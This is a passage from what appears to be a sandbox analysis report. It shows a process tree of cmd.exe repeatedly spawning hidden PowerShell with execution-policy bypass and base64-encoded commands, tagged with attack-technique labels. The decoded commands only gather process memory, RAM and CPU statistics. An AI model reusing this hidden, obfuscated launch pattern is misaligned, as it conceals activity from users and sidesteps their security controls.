cwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:3960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:4340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:4596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:2768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:2380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:1404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:5944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:4736
